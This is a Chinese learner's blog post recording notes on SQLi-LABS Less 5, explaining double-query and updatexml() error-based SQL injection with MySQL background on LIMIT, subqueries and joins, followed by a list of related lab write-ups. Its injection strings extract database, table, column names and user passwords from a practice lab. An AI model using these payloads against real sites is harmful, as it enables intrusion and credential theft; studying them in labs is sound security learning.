前言

最近开始用SQLi_LABS学习注入,刚开始有点摸不到头脑,索性把看到的知识点记录下来,很多细节是看别人博客学的,就直接给链接了,在此向这些作者们表示衷心的感谢。主要为了自己学习记录,如果能帮到别人当然就更好了。有大神发现有错误请不吝赐教,多谢!

我这种小白目前的水平有点难以产出自己的见解,也就不再复制粘贴转载一些大家互相copy的内容了。而且相同的SQLi_LABS平台,我自己做一遍,理论上跟别人做的也一样,就把宝贵的时间贡献给学习进步,不再截图。


几种可能的注入方式

1. Double Injection 双注入

原理:当在一个聚合函数后使用分组语句就可能会把查询的一部分以错误的形式显示出来。

有很多博客解释了产生这种问题的原因,直接搜索就能找到,我就不做搬运工了。

还有一种叫做派生表的双注入(没太细看)

涉及到的函数及语句:rand(), floor(), count(), group by, concat(), concat_ws()

固定公式

?id=-1' union select count(*),2,concat('*',(select database()),'*',floor(rand()*2))as a from information_schema.tables group by a--+

注入过程

步骤1:检查注入点

无错:?id=1?id=1"

报错:?id=1' 可以知道存在注入且用单引号闭合参数。

步骤2:使用双查询获取数据库信息

(1)获取数据库

?id=-1' union select count(*),2,concat('*',(select database()),'*',floor(rand()*2))as a from information_schema.tables group by a--+

注意:上句并不是每次都能成功,id=1也可以成功。

?疑问:为什么这里的id值对结果没有影响(不需要是数据库不存在的值),是因为返回的都是报错信息而非实际查询的内容,所以不需要像less 1那样通过id=-1给后面腾位置?结合搜索到的说法,应该是我猜测的这样。

union操作符

两个查询返回的列数必须相同。

两个select语句对应列所返回的数据类型必须相同(或至少是兼容的)。

通常利用联合查询的特点,使原查询左边为空,使我们定义的查询结果返回出来。

如该表共3个字段,界面显示第2、3个字段,我们便可以构造:

select * from users where id=-1 union select 1,2,3 from users

这里的2,3可以换成任意想要的结果。

(2) 获取表名

`?id=-1' union select count(*),2,concat('*',(select group_concat(table_name) from information_schema.tables where table_schema='security'),'*',floor(rand()*2))as a from information_schema.tables group by a--+`

(3)获取字段名

?id=-1' union select count(*),2,concat('*',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),'*',floor(rand()*2))as a from information_schema.tables group by a--+

注意:这一语句第一次用的时候少了 table_schema=database()这个条件,于是结果就完全不同了。页面返回信息如下:

Duplicate entry '*user_id,first_name,last_name,user,password,avatar,last_login,fa' for key ''

目前我还没想清为什么返回信息是这些。

(4)获取用户信息

?id=-1' union select count(*),2,concat('*',(select concat(id,username,password) from users limit 0,1),'*',floor(rand()*2))as a from information_schema.tables group by a--+

LIMIT 子句可以被用于强制 SELECT 语句返回指定的记录数。LIMIT 接受一个

或两个数字参数。参数必须是一个整数常量。如果给定两个参数,第一个参数

指定第一个返回记录行的偏移量,第二个参数指定返回记录行的最大数目。初

始记录行的偏移量是 0(而不是 1)。

为了与 PostgreSQL 兼容,MySQL 也支持句法: LIMIT # OFFSET #。

因此,要一个一个查询limit的第一个参数可以从0到查询完,第二个参数保持为1。

2. 报错注入

在CSDN博客看到一个讲利用updatexml()做报错注入的例子,有兴趣的同学可以去看一下。

1’ and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)%23
http://localhost/sqli/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),1) --+

注意: 这一语句第一次用的时候少了table_schema=database() 这个条件,于是结果就完全不同了。

1’ and updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),1)%23

注意: updatexml()这个函数最多只能获取32位字符,而我们要获取的数据超过了这个位数,所以一个一个的查,使用limit 0,1来实现。

3. 联合查询

与报错注入在同一篇里看的,说是比较难懂,建议把SQLi_LABS做完一遍后再用这种方法试试。但是感觉联合查询跟我们今天做的双注入是一样的。

4. 盲注

看过一篇讲盲注方法的博客,觉得过程太复杂了,也不是less 5标题指出的方法,所以看了个大概流程就过了。网址忘记了,如果有幸能找到再来补充。

补充的相关知识点

几种查询方式:

  1. 双查询:网页一般的搜索结果均为双查询注入,即less 5的双注入方式。也有人解释说是子查询语句。(我觉得很有可能理解的不对==,请懂行的同学指导指导)

  2. 子查询:是一种SELECT-SQL语言中嵌套查询下层的程序模块。当一个查询是另一个查询的条件时,称之为子查询。子查询“必须包括在一组括号中”,以便将它与外部查询分开。 效率低。

    有4种子查询:

    • 带比较运算符的子查询
    • IN子查询:在嵌套查询中,子查询的结构往往是一个集合,所以谓词 IN是嵌套查询中最经常使用的谓词。
    • ANY子查询:返回多值,用ANY(SOME)或ALL。
    • EXISTS子查询:在 true/false 比较中使用 EXISTS 谓词(与可选的 NOT 保留字一道)来决定子查询是否会返回任何记录。

    子查询的输出可以包括一个单独的值(单行子查询)、几行值(多行子查询)、或者多列数据(多列子查询)。

    子查询的查询条件不依赖于父查询,称为不相关子查询。如果子查询的查询条件依赖于父查询,这类子查询称为相关子查询,整个查询语句称为相关嵌套语句

  3. 联合查询效率高。

    有4种联合查询:

    • 内联inner join
    • 左联left outer join
    • 右联right outer join
    • 全联full outer join

SQLi_LABS less5: GET-Double Injection - Single Quotes - String的更多相关文章

  1. 【sqli-labs】 less5 GET - Double Injection - Single Quotes - String (双注入GET单引号字符型注入)

    双注入查询可以查看这两篇介绍 https://www.2cto.com/article/201302/190763.html https://www.2cto.com/article/201303/1 ...

  2. 【sqli-labs】 less14 POST - Double Injection - Single quotes- String -twist (POST型单引号变形双注入)

    名字和less13一样? 看了下源码对比 less13 less14 less14应该是双引号吧 出错 构造永真登陆

  3. 【sqli-labs】 less13 POST - Double Injection - Single quotes- String -twist (POST型单引号变形双注入)

    报错 闭合掉括号 这关登录成功之后不显示登录的用户名密码了

  4. 【sqli-labs】 less1 GET - Error based - Single quotes - String(GET型基于错误的单引号字符型注入)

    GET方式提交id参数 添加单引号,出现报错,爆出数据库名称和部分SQL语句 http://localhost/sqli/Less-1/?id=1' 使用order by猜测字段数,用#注释掉后面li ...

  5. JSONObject put List<Double> 后转化为String问题的解决办法

    //原代码 JSONObject powerCurveJsonObj = new JSONObject(); powerCurveJsonObj.put("test",[0.5, ...

  6. double型转换成string型

    double型转换成string型 题目描写叙述: 如有一个函数.其可接受一个long double參数,并将參数转换为字符串.结果字符串应保留两位小数,比如,浮点值123.45678应该生成&quo ...

  7. 【sqli-labs】 less6 GET - Double Injection - Double Quotes - String (双注入GET双引号字符型注入)

    同less5 单引号改成双引号就行 http://localhost/sqli/Less-6/?id=a" union select 1,count(*),concat((select ta ...

  8. 【sqli-labs】 less4 GET - Error based - Double Quotes - String (基于错误的GET双引号字符型注入)

    提交id参数 加' http://localhost/sqli/Less-4/?id=1' 页面正常,添加" http://localhost/sqli/Less-4/?id=1" ...

  9. 【sqli-labs】 less3 GET - Error based - Single quotes with twist string (基于错误的GET单引号变形字符型注入)

    实质上和less1没有多大区别,看懂了一样走流程 提交参数 加单引号 http://localhost/sqli/Less-3/?id=1' 观察报错,看near 和 at 的引号之间内容 '1'') ...

随机推荐

  1. 自定义仿 IPhone 开关控件

    极力推荐文章:欢迎收藏 Android 干货分享 阅读五分钟,每日十点,和您一起终身学习,这里是程序员Android 本篇文章主要介绍 Android 开发中的部分知识点,通过阅读本篇文章,您将收获以 ...

  2. Unity经典游戏教程之:合金弹头

    版权声明: 本文原创发布于博客园"优梦创客"的博客空间(网址:http://www.cnblogs.com/raymondking123/)以及微信公众号"优梦创客&qu ...

  3. Asp.NetCore源码学习[2-1]:配置[Configuration]

    Asp.NetCore源码学习[2-1]:配置[Configuration] 在Asp. NetCore中,配置系统支持不同的配置源(文件.环境变量等),虽然有多种的配置源,但是最终提供给系统使用的只 ...

  4. 对数变换(一些基本的灰度变换函数)基本原理及Python实现

    1. 基本原理 变换形式如下 $$T(r) = c\lg(r+1)$$ c为常数 由于对数函数的导数随自变量的增大而减小,对数变换将输入窄范围的低灰度值扩展为范围宽的灰度值和宽范围的高灰度值压缩为映射 ...

  5. 【作品】超实用C++分数类

    引言 我们说,编程语言的精髓在于封装,而面向对象语言完胜面向过程语言的原因就是具有更好的可封装性,而C++就是这样的一种多范型语言,常用而复杂的工作完全不必在每一份源文件中重敲,就好像我们不需要自己手 ...

  6. 2019牛客多校训练第三场H.Magic Line(思维)

    题目传送门 大致题意: 输入测试用例个数T,输入点的个数n(n为偶数),再分别输入n个不同的点的坐标,要求输出四个整数x1,y1,x2,y2,表示有一条经过点(x1,y1),(x2,y2)的直线将该二 ...

  7. 完整原型链详细图解之JS构造函数、原型 原型链、实例化对象

    一.首先说一下什么是构造函数: 构造函数:用来在创建对象时初始化对象.特点:构造函数名一般为大写字母开头:与new运算符一起使用来实例化对象. 举例: function Person(){} //Pe ...

  8. powerdesign进军(三)--mysql驱动配置

    目录 资源下载 powerdesign配置 总结 第二节我们已经安装了oracle的驱动,但是企业中还有一个重头数据库(mysql),今天来安装mysql驱动.mysql相较oracle比较简单. 资 ...

  9. 【Node.js】 bodyparser实现原理解析

    为什么我们需要body-parser 也许你第一次和bodyparser相遇是在使用Koa框架的时候.当我们尝试从一个浏览器发来的POST请求中取得请求报文实体的时候,这个时候,我们想,这个从Koa自 ...

  10. Go语言-基本的http请求操作

    Go发起GET请求 基本的GET请求 //基本的GET请求 package main import ( "fmt" "io/ioutil" "net/ ...